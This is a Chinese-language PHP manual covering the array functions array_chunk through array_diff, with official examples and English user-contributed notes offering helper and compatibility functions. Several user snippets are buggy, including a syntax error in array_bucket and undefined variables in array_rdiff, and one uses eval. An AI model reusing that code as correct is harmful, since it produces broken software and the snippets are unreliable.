array_chunk() 将一个数组分割成多个数组，其中每个数组的单元数目由 size 决定。最后一个数组的单元数目可能会少几个。得到的数组是一个多维数组中的单元，其索引从零开始。

将可选参数 preserve_keys 设为 TRUE，可以使 PHP 保留输入数组中原来的键名。如果你指定了 FALSE，那每个结果数组将用从零开始的新数字索引。默认值是 FALSE。

例子 1. array_chunk() 例子

<?php
$input_array = array('a', 'b', 'c', 'd', 'e');
print_r(array_chunk($input_array, 2));
print_r(array_chunk($input_array, 2, true));
?>

上例将输出：

Array
(
    [0] => Array
        (
            [0] => a
            [1] => b
        )

    [1] => Array
        (
            [0] => c
            [1] => d
        )

    [2] => Array
        (
            [0] => e
        )

)
Array
(
    [0] => Array
        (
            [0] => a
            [1] => b
        )

    [1] => Array
        (
            [2] => c
            [3] => d
        )

    [2] => Array
        (
            [4] => e
        )

)

add a note add a note User Contributed Notes
22-Mar-2006 08:19
Here my array_chunk_values( ) with values distributed by lines (columns are balanced as much as possible) :

<?php
   function array_chunk_vertical($data, $columns) {
       $n = count($data) ;
       $per_column = floor($n / $columns) ;
       $rest = $n % $columns ;

       // The map
       $per_columns = array( ) ;
       for ( $i = 0 ; $i < $columns ; $i++ ) {
           $per_columns[$i] = $per_column + ($i < $rest ? 1 : 0) ;
       }

       $tabular = array( ) ;
       foreach ( $per_columns as $rows ) {
           for ( $i = 0 ; $i < $rows ; $i++ ) {
               $tabular[$i][ ] = array_shift($data) ;
           }
       }

       return $tabular ;
   }

   header('Content-Type: text/plain') ;

   $data = array_chunk_vertical(range(1, 31), 7) ;
   foreach ( $data as $row ) {
       foreach ( $row as $value ) {
           printf('[%2s]', $value) ;
       }
       echo "\r\n" ;
   }

   /*
       Output :

       [ 1][ 6][11][16][20][24][28]
       [ 2][ 7][12][17][21][25][29]
       [ 3][ 8][13][18][22][26][30]
       [ 4][ 9][14][19][23][27][31]
       [ 5][10][15]
   */
?>
magick dit crow ot gmail dit com
17-Oct-2005 12:50
Mistake key did not do what I thought. A patch.

function array_bucket($array,$bucket_size)// bucket filter
{
   if (!is_array($array)) return false;
   $buckets=array_chunk($array,$bucket_size);// chop up array into bucket size units
   $I=0;
   foreach ($buckets as $bucket)
   {
       $new_array[$I++]=array_sum($bucket)/count($bucket);
   }
   return $new_array;// return new array
}
magick dit crow ot gmail dit com
16-Oct-2005 01:58
This function takes each few elements of an array and averages them together. It then places the averages in a new array. It is used to smooth out data. For example lets say you have a years worth of hit data to a site and you want to graph it by the week. Then use a bucket of 7 and graph the functions output.

function array_bucket($array, $bucket_size)  // bucket filter
{
   if (!is_array($array)) return false; // no empty arrays
   $buckets=array_chunk($array,$bucket_size);  // chop up array into bucket size units
   foreach ($buckets as $bucket) $new_array[key($buckets])=array_sum($bucket)/count($bucket);
   return $new_array;  // return new smooth array
}
webmaster at cafe-clope dot net
21-Aug-2005 07:27
based on the same syntax, useful about making columns :

<?php
function array_chunk_fixed($input, $num, $preserve_keys = FALSE) {
   $count = count($input) ;
   if($count)
       $input = array_chunk($input, ceil($count/$num), $preserve_keys) ;
   $input = array_pad($input, $num, array()) ;
   return $input ;
}

$array = array(1, 2, 3, 4, 5) ;
print_r(array_chunk($array, 2)) ;
print_r(array_chunk_fixed($array, 2)) ;
?>

---- array_chunk : fixed number of sub-items ----
Array(
   [0] => Array(
           [0] => 1
           [1] => 2
       )
   [1] => Array(
           [0] => 3
           [1] => 4
       )

   [2] => Array(
           [0] => 5
       )
)

---- array_chunk : fixed number of columns ----
Array(
   [0] => Array(
           [0] => 1
           [1] => 2
           [2] => 3
       )
   [1] => Array(
           [0] => 4
           [1] => 5
       )
)
cdblog at gmail dot com
22-May-2005 02:19
<?php
/**
* @return array
* @author Cocol
* @desc  use array_chunk with custom keys
* for more detail please visit http://php.clickz.cn/articles/array/array_chunk.html
*/
function array_chunk_custom($input_array = array(), $size = 0, $keys = array()) {
   if (is_array($keys)) {
       $values = array_values($input_array);
       unset($input_array);
       foreach ($keys as $key=>$val) {
           $input_array[$val] = $values[$key];
       }
   }
   $output_array = array_chunk($input_array,$size,1);
   return $output_array;
}

$input_array = array('a', 'b', 'c', 'd', 'e','f','g','h');
$key_array = array('i','ii','iii','iv','v','vi','vii');
print_r(array_chunk_custom($input_array,2,$key_array));

?>

output:
Array
(
   [0] => Array
       (
           [i] => a
           [ii] => b
       )

   [1] => Array
       (
           [iii] => c
           [iv] => d
       )

   [2] => Array
       (
           [v] => e
           [vi] => f
       )

   [3] => Array
       (
           [vii] => g
       )

)
berndt at michael - berndt dot de
23-Apr-2005 11:22
SplitAssoziativArray() without array_chunk()
http://www.michael-berndt.de/ie/tux/assoziativen_array_zerteilen.htm
berndt at www dot michael-berndt dot de
10-Apr-2005 11:11
split array without array_chunk()
http://www.michael-berndt.de/ie/tux/split_array.htm
phpm at nreynolds dot me dot uk
17-Dec-2004 08:21
array_chunk() is helpful when constructing tables with a known number of columns but an unknown number of values, such as a calendar month. Example:

<?php

$values = range(1, 31);
$rows = array_chunk($values, 7);

print "<table>\n";
foreach ($rows as $row) {
   print "<tr>\n";
   foreach ($row as $value) {
       print "<td>" . $value . "</td>\n";
   }
   print "</tr>\n";
}
print "</table>\n";

?>

Outputs:

1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30 31

The other direction is possible too, with the aid of a function included at the bottom of this note. Changing this line:
  $rows = array_chunk($values, 7);

To this:
  $rows = array_chunk_vertical($values, 7);

Produces a vertical calendar with seven columns:

1 6  11 16 21 26 31
2 7  12 17 22 27
3 8  13 18 23 28
4 9  14 19 24 29
5 10 15 20 25 30

You can also specify that $size refers to the number of rows, not columns:
  $rows = array_chunk_vertical($values, 7, false, false);

Producing this:

1 8  15 22 29
2 9  16 23 30
3 10 17 24 31
4 11 18 25
5 12 19 26
6 13 20 27
7 14 21 28

The function:

<?php

function array_chunk_vertical($input, $size, $preserve_keys = false, $size_is_horizontal = true)
{
   $chunks = array();

   if ($size_is_horizontal) {
       $chunk_count = ceil(count($input) / $size);
   } else {
       $chunk_count = $size;
   }

   for ($chunk_index = 0; $chunk_index < $chunk_count; $chunk_index++) {
       $chunks[] = array();
   }

   $chunk_index = 0;
   foreach ($input as $key => $value)
   {
       if ($preserve_keys) {
           $chunks[$chunk_index][$key] = $value;
       } else {
           $chunks[$chunk_index][] = $value;
       }

       if (++$chunk_index == $chunk_count) {
           $chunk_index = 0;
       }
   }

   return $chunks;
}

?>
mick at vandermostvanspijk dot nl
07-Apr-2004 06:02
[Editors note: This function was based on a previous function by gphemsley at nospam users dot sourceforge.net]

For those of you that need array_chunk() for PHP < 4.2.0, this function should do the trick:

<?php
if (!function_exists('array_chunk')) {
   function array_chunk( $input, $size, $preserve_keys = false) {
       @reset( $input );

       $i = $j = 0;

       while( @list( $key, $value ) = @each( $input ) ) {
           if( !( isset( $chunks[$i] ) ) ) {
               $chunks[$i] = array();
           }

           if( count( $chunks[$i] ) < $size ) {
               if( $preserve_keys ) {
                   $chunks[$i][$key] = $value;
                   $j++;
               } else {
                   $chunks[$i][] = $value;
               }
           } else {
               $i++;

               if( $preserve_keys ) {
                   $chunks[$i][$key] = $value;
                   $j++;
               } else {
                   $j = 0;
                   $chunks[$i][$j] = $value;
               }
           }
       }

       return $chunks;
   }
}
?>
add a note add a note

后退 | 起点 | 前进
array_change_key_case | 上一级 | array_combine


array_combine

(PHP 5)

array_combine -- 创建一个数组，用一个数组的值作为其键名，另一个数组的值作为其值

说明

array array_combine ( array keys, array values )

返回一个 array，用来自 keys 数组的值作为键名，来自 values 数组的值作为相应的值。

如果两个数组的单元数不同或者数组为空时返回 FALSE。

例子 1. 简单的 array_combine() 例子

<?php
$a = array('green', 'red', 'yellow');
$b = array('avocado', 'apple', 'banana');
$c = array_combine($a, $b);

print_r($c);
?>

上例将输出：

Array
(
    [green]  => avocado
    [red]    => apple
    [yellow] => banana
)

参见 array_merge()，array_walk() 和 array_values()。

add a note add a note User Contributed Notes
glashio.at.gmail.com
07-Dec-2005 06:00
I encounterd a "Fatal Error" on PHP4 while i developed on PHP5 using : array_combine($a, $b);

__TOP_OF_SCRIPT__

if (!function_exists('array_combine')) {
   function array_combine($a, $b) {
       $c = array();
       if (is_array($a) && is_array($b))
           while (list(, $va) = each($a))
               if (list(, $vb) = each($b))
                   $c[$va] = $vb;
               else
                   break 1;
       return $c;
   }
}
m at momech dot dk
01-Nov-2005 11:55
An 3-liner way to get the effect of array_combine in PHP4:
<?php
$keysValues = array();
foreach($csvFieldnames as $indexnum => $key)
   $keyValues[$key] = $values[$indexnum];
?>

/ Mogens
Ivo van Sandick
02-Sep-2005 04:04
Such a useful function, and only since version 5! Why an emulation for earlier PHP versions has not been posted long ago, is a mystery:

<?php
function array_combine_emulated( $keys, $vals ) {
 $keys = array_values( (array) $keys );
 $vals = array_values( (array) $vals );
 $n = max( count( $keys ), count( $vals ) );
 $r = array();
 for( $i=0; $i<$n; $i++ ) {
  $r[ $keys[ $i ] ] = $vals[ $i ];
 }
 return $r;
}
?>
ifeghali at interveritas dot net
27-Feb-2005 02:53
Use that code to group an array by its first element.

<?

function groupbyfirst($array)
{
   foreach ($array as $row)
   {
       $firstkey = array_keys($row);
       $firstkey = $firstkey[0];
       $key = $row[$firstkey];
       unset($row[$firstkey]);
       $newarray[$key][] = $row;
   }
   return $newarray;
}

?>

Example:

<?

$array =
Array(
   0 => Array('color' => 'red','name' => 'apple', 'quantity' => '3'),
   1 => Array('color' => 'green','name' => 'pear', 'quantity' => '2'),
   2 => Array('color' => 'yellow','name' => 'corn', 'quantity' => '3'),
   3 => Array('color' => 'blue','name' => 'grape', 'quantity' => '4'),
   4 => Array('color' => 'yellow','name' => 'banana', 'quantity' => '13'),
);

$output = groupbyfirst($array);
print_r($output);

?>

will return:

Array
(
 [red] => Array ( [0] => Array ( [name] => apple [quantity] => 3 ) )
 [green] => Array ( [0] => Array ( [name] => pear [quantity] => 2 ) )
 [yellow] => Array ( [0] => Array ( [name] => corn [quantity] => 3 ), [1] => Array ( [name] => banana [quantity] => 13 ) )
 [blue] => Array ( [0] => Array ( [name] => grape [quantity] => 4 ))
)

Or you can use mysql recordset:

<?
while ($row=mysql_fetch_array($result,MYSQL_ASSOC))
{
   $firstkey = array_keys($row);
   $firstkey = $firstkey[0];
   $key = $row[$firstkey];
   unset($row[$firstkey]);
   $newarray[$key][] = $row;
}
?>
aidan at php dot net
21-May-2004 10:15
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat
add a note add a note

后退 | 起点 | 前进
array_chunk | 上一级 | array_count_values


array_count_values

(PHP 4, PHP 5)

array_count_values -- 统计数组中所有的值出现的次数

说明

array array_count_values ( array input )

array_count_values() 返回一个数组，该数组用 input 数组中的值作为键名，该值在 input 数组中出现的次数作为值。

例子 1. array_count_values() 例子

<?php
$array = array(1, "hello", 1, "world", "hello");
print_r(array_count_values ($array));
?>

上例将输出：

Array
(
    [1] => 2
    [hello] => 2
    [world] => 1
)

参见 count()，array_unique()，array_values() 和 count_chars()。

add a note add a note User Contributed Notes
coda at bobandgeorge dot com
14-Oct-2005 08:52
alwaysdrunk's comment only works if you can trust the client web browser. Using this function doesn't validate that every necessary field exists -- only that every field that was submitted has a value in it. Thus if an attacker wished to force a null value into one of the fields, he could (rather easily) construct a modified form without the field and submit THAT.

Besides, you really ought to be validating each field anyway if you're taking user input.
alwaysdrunk at gmail com
12-May-2005 03:14
if you have too many values in $_POST,$_GET array that needs to be controlled with isset() in oreder to understand the form is filled completely and have no empty text boxes.
you can try this,it saves time.

<?
$n = array_count_values($_POST);
if (!isset($n[''])) {
echo "The form is filled completely";
}
else
{ die("Please fill the form comlpetely"); }

//tested in php 5
?>
[Mr.A]
06-Mar-2005 06:59
I find a very simple solution to count values in multidimentional arrays (example for 2 levels) :

foreach ($array as $a) {
  foreach ($a as $b) {
   $count_values[$b]++;
  }
}
blauauge at figh7club dot com
04-Sep-2003 12:12
my solution for count  on multidimentional arrays.

<?php
  for($i = 0; $i < count($array); $i++) {
     $detail = explode("|", $array[$i]);
     echo "$i - $detail[0] - $detail[1]<br><br>";
     if($detail[1] == '1') { $wieoft1 = $wieoft1 +=1; }
     if($detail[1] == '2') { $wieoft2 = $wieoft2 +=1; }
     if($detail[1] == '3') { $wieoft3 = $wieoft3 +=1; }
  }
  echo ". $wieoft1 : $wieoft2 : $wieoft3";
?>

looks not pretty fine yet works great for me.
make it bigger for your own.
programmer at bardware dot de
20-Aug-2003 02:24
array_count_values returns the number of keys if empty(value). I expected array_count_values to return 0 for empty values.

Array looks like:
Array
       (
           [459] =>
           [543] =>
           [8959] =>
           [11273] =>
       )

array_count_values returns:
Array
(
   [] => 4
)

count(array_count_values(array)) does thus not report there are no values (other than empty) in the array.

I therefore check:
$arrFoo=array_count_values($arrBar);
if(isset($arrFoo[""]) $allempty=count($arrBar)==$arrFoo[""];
if(!$allempty)
//process the array
else
//no need to work on the array
digleu at codeway dot de
29-May-2003 05:58
I fount a solution for the count of array elements in the sense of array_count_values, but i was not able to use the function array_count_values itself because it does not say me if arrays exists in the given array, so i had to use a foreach loop and a little bit of recursivity ;)

<?php
function array_count_values_multidim($a,$out=false) {
  if ($out===false) $out=array();
  if (is_array($a)) {
   foreach($a as $e)
     $out=array_count_values_multidim($e,$out);
  }
  else {
   if (array_key_exists($a,$out))
     $out[$a]++;
   else
     $out[$a]=1;
  }
  return $out;
}
?>
pmarcIatIgeneticsImedIharvardIedu
30-Jan-2003 09:42
array_count_values function does not work on multidimentional arrays.
If $score[][] is a bidimentional array, the command
"array_count_values ($score)" return the error message "Warning: Can only count STRING and INTEGER values!".
manuzhai (AT) php (DOT) net
16-Nov-2002 10:45
You might use serialize() to serialize your objects before analyzing their frequency. :)
jon at fuck dot org
15-Aug-2002 05:31
suggested plan of attack:

<pre>
<?
class MyObject {
   function MyObject($t = 'none')
   {
     $this->$myTag = $t;
   }
}

$myArray = array();

for ($i = 1 ; $i < 11 ; $i++)
{
   $myobj = new MyObject( str_pad('n', $i, 'x') );
   $myArray[ $myobj->$myTag ] = $myobj;
}

print_r( array_count_values(array_keys($myArray)) );
?>

to sum up:
assuming each instance of an object you create has some sort of tag, e.g.,

$this->$myTag=get_class($this)

..you should be set. objects dont have value to compare the way strings and integers do, so, $myTag's value is arbitrary.
tschneider at formel4 dot de
12-Jun-2002 10:09
This does not works with objects. If you have an array filled with objects, you can not count them.

Example:

<?php
$myArray = array();
for ($i = 0 ; $i < 10 ; $i++)
{
   $myObject = new MyObject();
   $myArray[$i] = $myObject;
}

echo (array_count_values($myArray));
?>

This gives you:
Warning: Can only count STRING and INTEGER values...

Found no solution for this yet...
add a note add a note

后退 | 起点 | 前进
array_combine | 上一级 | array_diff_assoc


array_diff_assoc

(PHP 4 >= 4.3.0, PHP 5)

array_diff_assoc -- 带索引检查计算数组的差集

说明

array array_diff_assoc ( array array1, array array2 [, array ...] )

array_diff_assoc() 返回一个数组，该数组包括了所有在 array1 中但是不在任何其它参数数组中的值。注意和 array_diff() 不同的是键名也用于比较。

例子 1. array_diff_assoc() 例子

<?php
$array1 = array ("a" => "green", "b" => "brown", "c" => "blue", "red");
$array2 = array ("a" => "green", "yellow", "red");
$result = array_diff_assoc($array1, $array2);
?>

上例将输出：

Array
(
    [b] => brown
    [c] => blue
    [0] => red
)

上面的例子中可以看到键值对 "a" => "green" 在两个数组中都有，因此不在本函数的输出中。与此不同，键值对 0 => "red" 出现在输出中是因为第二个参数中的 "red" 的键名是 1。

键值对 key => value 中的两个值仅在 (string) $elem1 === (string) $elem2 时被认为相等。也就是说使用了严格检查，字符串的表达必须相同。

注: 注意本函数只检查了多维数组中的一维。当然可以用 array_diff_assoc($array1[0], $array2[0]); 检查更深的维度。

参见 array_diff()，array_intersect() 和 array_intersect_assoc()。

add a note add a note User Contributed Notes
Alexander Podgorny
31-May-2006 05:30
NOTE: the diff_array also removes all the duplicate values that match to the values in the second array:

<?
   $array1 = array("a","b","c","a","a");
   $array2 = array("a");

   $diff = array_diff($array1,$array2);

   // yields: array("b","c") the duplicate "a" values are removed
?>
benjamin at moonfactory dot co dot jp
12-Jan-2005 01:56
Hi all,
For php versions < 4.3...

<?php
/**
 * array_diff_assoc for version < 4.3
 **/
if (!function_exists('array_diff_assoc'))
{
   function array_diff_assoc($a1, $a2)
   {
       foreach($a1 as $key => $value)
       {
           if(isset($a2[$key]))
           {
               if((string) $value !== (string) $a2[$key])
               {
                     $r[$key] = $value;
               }
           }else
           {
               $r[$key] = $value;
           }
       }
       return $r ;
   }
}

Hope there's no bug,
cheers
?>
aidan at php dot net
09-Jun-2004 09:34
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat
Michael Johnson
26-Oct-2003 03:20
[jochem at iamjochem dawt com]
Here is a slightly enhanced version of Micheal Johnsons function.
This version accepts arguments in the same way as
array_diff_assoc (i.e. you can pass as many arrays as you want - any
arguments that are not arrays are ignored). If the first argument is not an array you automatically get empty array back:

The point of the function is to return all values in the first array
whose keys (only keys are checked!) are not present in any subsequently passed arrays.

[original post]
array_diff_assoc() requires that both the key and the value pairs match. To match based on keys only, try this function.

<?php
function array_diff_keys()
{
   $args = func_get_args();

   $res = $args[0];
   if(!is_array($res)) {
       return array();
   }

   for($i=1;$i<count($args);$i++) {
       if(!is_array($args[$i])) {
           continue;
       }
       foreach ($args[$i] as $key => $data) {
           unset($res[$key]);
       }
   }
   return $res;
}

// Example
$a = array('a' => '1', 'b' => '2', 'c' => '3');
$b = array('a' => '2', 'b' => '2', 'e' => '4');

// Yields array('a' => '1', 'c' => '3')
// Note that the 'a' index is not removed (as one might expect)
$c = array_diff_assoc($a, $b);

// Yields array('c' => '3')
$d = array_diff_keys($a, $b);
?>
sc1n at yahoo dot com
12-Jul-2003 03:10
[anders dot carlsson at mds dot mdh dot se]
The user contributed array_diff_assoc_recursive function is good except for the original array_diff_assoc always (?) returns an array.

Therefore I propose that $difference is initially set to an empty array (and the array is always returned), and the comparison against FALSE is replaced by count($new_diff). At least that's the modifications I made to run it they way my code expects.

[original post]
The following will recursively do an array_diff_assoc, which will calculate differences on a multi-dimensional level.  (Forgive me if the braces do not line up, the note script did not like my tabs, and gave me trouble on some spaces.)

<?php
function array_diff_assoc_recursive($array1, $array2)
{
     foreach($array1 as $key => $value)
     {
         if(is_array($value))
         {
               if(!is_array($array2[$key]))
               {
                   $difference[$key] = $value;
               }
               else
               {
                   $new_diff = array_diff_assoc_recursive($value, $array2[$key]);
                   if($new_diff != FALSE)
                   {
                         $difference[$key] = $new_diff;
                   }
               }
           }
           elseif(!isset($array2[$key]) || $array2[$key] != $value)
           {
               $difference[$key] = $value;
           }
     }
     return !isset($difference) ? 0 : $difference;
}
?>
carl at thep dot lu dot se
09-May-2003 05:55
To unset elements in an array if you know the keys but not the values, you can do:

<?php
$a = array("foo", "bar", "baz", "quux");
$b = array(1, 3); // Elements to get rid of

foreach($b as $e)
  unset($a[$e]);
?>

Of course this makes most sense if $b has many elements or is dynamically generated.
add a note add a note

后退 | 起点 | 前进
array_count_values | 上一级 | array_diff_key


array_diff_key

(PHP 5 >= 5.1.0RC1)

array_diff_key -- 使用键名比较计算数组的差集

说明

array array_diff_key ( array array1, array array2 [, array ...] )

array_diff_key() 返回一个数组，该数组包括了所有出现在 array1 中但是未出现在任何其它参数数组中的键名的值。注意关联关系保留不变。本函数和 array_diff() 相同只除了比较是根据键名而不是值来进行的。

例子 1. array_diff_key() 例子

<?php
$array1 = array('blue'  => 1, 'red'  => 2, 'green'  => 3, 'purple' => 4);
$array2 = array('green' => 5, 'blue' => 6, 'yellow' => 7, 'cyan'   => 8);

var_dump(array_diff_key($array1, $array2));
?>

上例将输出：

array(2) {
  ["red"]=>
  int(2)
  ["purple"]=>
  int(4)
}

在 key => value 对中的两个键名仅在 (string) $key1 === (string) $key2 时被认为相等。换句话说，执行的是严格类型检查，因此字符串的表达必须完全一样。

注: 注意本函数只检查了多维数组中的一维。当然，可以用 array_diff_key($array1[0], $array2[0]); 来检查更深的维度。

参见 array_diff()，array_udiff()，array_diff_assoc()，array_diff_uassoc()，array_udiff_assoc()，array_udiff_uassoc()，array_diff_ukey()，array_intersect()，array_intersect_assoc()，array_intersect_uassoc()，array_intersect_key() 和 array_intersect_ukey()。

add a note add a note User Contributed Notes
2ge at 2ge dot us
08-Mar-2006 03:28
Hello, if you need diff key of n-dimensional arrays here is nice solution:
<?php
function n_array_diff ($a1, $a2) {
       foreach($a1 as $k => $v) {
           $r[$k] = is_array($v) ? n_array_diff($a1[$k], $a2[$k]) : array_diff_key($a1, $a2);
       }
       return $r;
}
?>
it will print everything, what is missing in $a2.
vlad_mustafin at ukr dot net
13-Jan-2006 11:39
One more alternative variant :)
<?
if (!function_exists('array_diff_key')) {
   function array_diff_key() {
       $argCount  = func_num_args();
       $diff_arg_prefix = 'diffArg';
       $diff_arg_names = array();
       for ($i=0; $i < $argCount; $i++) {
           $diff_arg_names[$i] = 'diffArg'.$i;
           $$diff_arg_names[$i] = array_keys((array)func_get_arg($i));
       }
       $diffArrString = '';
       if (!empty($diff_arg_names)) $diffArrString =  '$'.implode(', $', $diff_arg_names);
       eval("\$result = array_diff(".$diffArrString.");");
       return $result;
   }
}
?>
ampf at egp dot up dot pt
26-Nov-2005 04:55
Well, you could implement in the code something more powerfull:

http://www.php.net/manual/en/function.array-diff.php#31364
ml at iceni dot pl
07-Jun-2005 03:52
You may obtain this function with PEAR Package PHP_Compat (http://pear.php.net/package/PHP_Compat)

Then using such code is quite useful
<?php
if(!function_exists('array_diff_key')){
   require_once 'PHP/Compat/Function/array_diff_key.php';
}
?>
maxence at pontapreta dot net
28-May-2005 01:38
Seems to be a great function, especially for n-dimensions arrays. The only problem is that I cannot find it in php 5.0.3 and 5.0.4. Does it really exist ?! :(

[20:27:05][maxence@conurb] ~/test2/php-5.0.4$ grep PHP_FUNCTION * -r | grep -i array_diff_key
[20:27:09][maxence@conurb] ~/test2/php-5.0.4$
nicolas at goinf dot com
14-Apr-2005 11:28
Be aware that the last solution doesn't work if for any reason, two values are the same.
eric dot broersma at phil dot uu dot nl
05-Mar-2005 10:58
<?php
function array_diff_key()
{
   $args = func_get_args();
   return array_flip(call_user_func_array('array_diff',
           array_map('array_flip',$args)));
}
?>
denis noessler
23-Nov-2004 08:07
if (!function_exists('array_diff_key'))
{
   /**
   * Computes the difference of arrays using keys for comparison
   *
   * @param    array    $valuesBase            Base elements for comparison, associative
   * @param    array    $valuesComp[,..]    Comparison elements, associative
   *
   * @param    array                        Elements, not existing in comparison element, associative
   */
   function array_diff_key()
   {
       $argCount  = func_num_args();
       $argValues  = func_get_args();
       $valuesDiff = array();

       if ($argCount < 2)
       {
           return false;
       }

       foreach ($argValues as $argParam)
       {
           if (!is_array($argParam))
           {
               return false;
           }
       }

       foreach ($argValues[0] as $valueKey => $valueData)
       {
           for ($i = 1; $i < $argCount; $i++)
           {
               if (isset($argValues[$i][$valueKey]))
               {
                   continue 2;
               }
           }

           $valuesDiff[$valueKey] = $valueData;
       }

       return $valuesDiff;
   }
}
add a note add a note

后退 | 起点 | 前进
array_diff_assoc | 上一级 | array_diff_uassoc


array_diff_uassoc

(PHP 5)

array_diff_uassoc -- 用用户提供的回调函数做索引检查来计算数组的差集

说明

array array_diff_uassoc ( array array1, array array2 [, array ..., callback key_compare_func] )

array_diff_uassoc() 返回一个数组，该数组包括了所有在 array1 中但是不在任何其它参数数组中的值。注意和 array_diff() 不同的是键名也用于比较。

此比较是通过用户提供的回调函数来进行的。如果认为第一个参数小于，等于，或大于第二个参数时必须分别返回一个小于零，等于零，或大于零的整数。这和 array_diff_assoc() 不同的是还使用了比较索引的内部函数。

例子 1. array_diff_uassoc() 例子

<?php
function key_compare_func($a, $b)
{
    if ($a === $b) {
        return 0;
    }
    return ($a > $b)? 1:-1;
}

$array1 = array("a" => "green", "b" => "brown", "c" => "blue", "red");
$array2 = array("a" => "green", "yellow", "red");
$result = array_diff_uassoc($array1, $array2, "key_compare_func");
print_r($result);
?>

上例将输出：

Array
(
    [b] => brown
    [c] => blue
    [0] => red
)

上面的例子中 "a" => "green" 出现在两个数组中因此不在函数的输出中。但是 0 => "red" 却在输出中，因为第二个参数中的 "red" 的键名是 1。

两个索引是否相同是由用户提供的回调函数来检查的。

注: 注意本函数只检查了多维数组中的一维。当然可以用 array_diff_uassoc($array1[0], $array2[0], "key_compare_func"); 检查更深的维度。

参见 array_diff()，array_diff_assoc()，array_udiff()，array_udiff_assoc()，array_udiff_uassoc()，array_intersect()，array_intersect_assoc()，array_uintersect()，array_uintersect_assoc() 和 array_uintersect_uassoc()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
array_diff_key | 上一级 | array_diff_ukey


array_diff_ukey

(PHP 5 >= 5.1.0RC1)

array_diff_ukey -- 用回调函数对键名比较计算数组的差集

说明

array array_diff_ukey ( array array1, array array2 [, array ..., callback key_compare_func] )

array_diff_ukey() 返回一个数组，该数组包括了所有出现在 array1 中但是未出现在任何其它参数数组中的键名的值。注意关联关系保留不变。本函数和 array_diff() 相同只除了比较是根据键名而不是值来进行的。

此比较是通过用户提供的回调函数来进行的。如果认为第一个参数小于，等于，或大于第二个参数时必须分别返回一个小于零，等于零，或大于零的整数。

例子 1. array_diff_ukey() 例子

<?php
function key_compare_func($key1, $key2)
{
    if ($key1 == $key2)
        return 0;
    else if ($key1 > $key2)
        return 1;
    else
        return -1;
}

$array1 = array('blue'  => 1, 'red'  => 2, 'green'  => 3, 'purple' => 4);
$array2 = array('green' => 5, 'blue' => 6, 'yellow' => 7, 'cyan'   => 8);

var_dump(array_diff_ukey($array1, $array2, 'key_compare_func'));
?>

上例将输出：

array(2) {
  ["red"]=>
  int(2)
  ["purple"]=>
  int(4)
}

注: 注意本函数只检查了多维数组中的一维。当然，可以用 array_diff_ukey($array1[0], $array2[0], 'callback_func'); 来检查更深的维度。

参见 array_diff()，array_udiff()，array_diff_assoc()，array_diff_uassoc()，array_udiff_assoc()，array_udiff_uassoc()，array_diff_key()，array_intersect()，array_intersect_assoc()，array_intersect_uassoc()，array_intersect_key() 和 array_intersect_ukey()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
array_diff_uassoc | 上一级 | array_diff


array_diff

(PHP 4 >= 4.0.1, PHP 5)

array_diff -- 计算数组的差集

说明

array array_diff ( array array1, array array2 [, array ...] )

array_diff() 返回一个数组，该数组包括了所有在 array1 中但是不在任何其它参数数组中的值。注意键名保留不变。

例子 1. array_diff() 例子

<?php
$array1 = array("a" => "green", "red", "blue", "red");
$array2 = array("b" => "green", "yellow", "red");
$result = array_diff($array1, $array2);

print_r($result);
?>

在 $array1 中多次出现的值一样处理，输出结果为：

Array
(
    [1] => blue
)

注: 两个单元仅在 (string) $elem1 === (string) $elem2 时被认为是相同的。也就是说，当字符串的表达是一样的时候。

注: 注意本函数只检查了多维数组中的一维。当然可以用 array_diff($array1[0], $array2[0]); 检查更深的维度。

警告

本函数在 PHP 4.0.4 中是坏的！

参见 array_diff_assoc()，array_intersect() 和 array_intersect_assoc()。

add a note add a note User Contributed Notes
pavlicic at NOSPAM dot hotmail dot com
10-Mar-2006 05:55
<?php

// first array
$vid_player = $vm->getVideosByPlayer($player);

// second array
$vid_playlist = $vm->getVideosByPlaylist($playlist);

// this will not work...
$vid_player = array_diff($vid_player, $vid_playlist);

// but if you do this first...
$videos = array();
foreach ( $vid_player as $player )
{
   if ( $vid_playlist != null )
   {
       foreach ( $vid_playlist as $video )
       {
           if ( $player->id == $video->id )
               $videos[] = $player;
       }
   }
}

// this will work...
$vid_player = array_diff($vid_player, $videos);

?>
The first array_diff() compares two arrays only to find out that all the objects are unique!
Jappie
23-Jan-2006 02:40
Sorry for the bug in my last comment (probably rightfully removed by the admins).
If you want to compare more than 2 arrays, or don't know how many arrays need to be compared, this is your function:

<?php
# An extention to array_diff:
# It returns an array of all values not present in all arrays given. If '$strict' is true,
# it returns all values not present or not in the same order in all arrays given. The
# arrays to compare must be placed in another array, which is used as argument '$arrays'.
# Returns false if the '$arrays' is invalid.
function array_rdiff ($arrays, $strict = false) {
   # check if argument is valid.
   if (!is_array ($arrays))
       return false;
   foreach ($arrays as $array)
       if (!is_array ($array))
           return false;

   # set working variables
   $diff    = array ();
   $amount  = count ($arrays);
   $needles = array_shift ($arrays);

   # compare
   for ($n = 0; $n < $amount; $n++) {
       for ($m = 0; $needles[$m]; $m++) {
           $found    = true;
           $positions = array ($m);
           foreach ($arrays as $haystack) {
               if (($pos = array_search ($needles[$m], $haystack)) === false)
                   $found = false;
               if ($strict)
                   $positions[] = $pos;
           }
           if (!$found)
               $diff[] = $needle;
           elseif ($strict && (count (array_unique ($positions)) > 1))
               $diff[] = $needle;
       }
       $arrays[] = $needles;
       $needles  = array_shift ($arrays);
   }
   return array_unique ($diff);
}
?>
Simon Riget at paragi.dk
22-Jan-2006 09:27
A simple multidimentional key aware array_diff function.

<?php
function arr_diff($a1,$a2){
  foreach($a1 as $k=>$v){
   unset($dv);
   if(is_int($k)){
     // Compare values
     if(array_search($v,$a2)===false) $dv=$v;
     else if(is_array($v)) $dv=arr_diff($v,$a2[$k]);
     if($dv) $diff[]=$dv;
   }else{
     // Compare noninteger keys
     if(!$a2[$k]) $dv=$v;
     else if(is_array($v)) $dv=arr_diff($v,$a2[$k]);
     if($dv) $diff[$k]=$dv;
   }
  }
  return $diff;
}
?>

This function meets my immidiate needs but I'm shure it can be improved.
doug at NOSPAM dot thrutch dot co dot uk
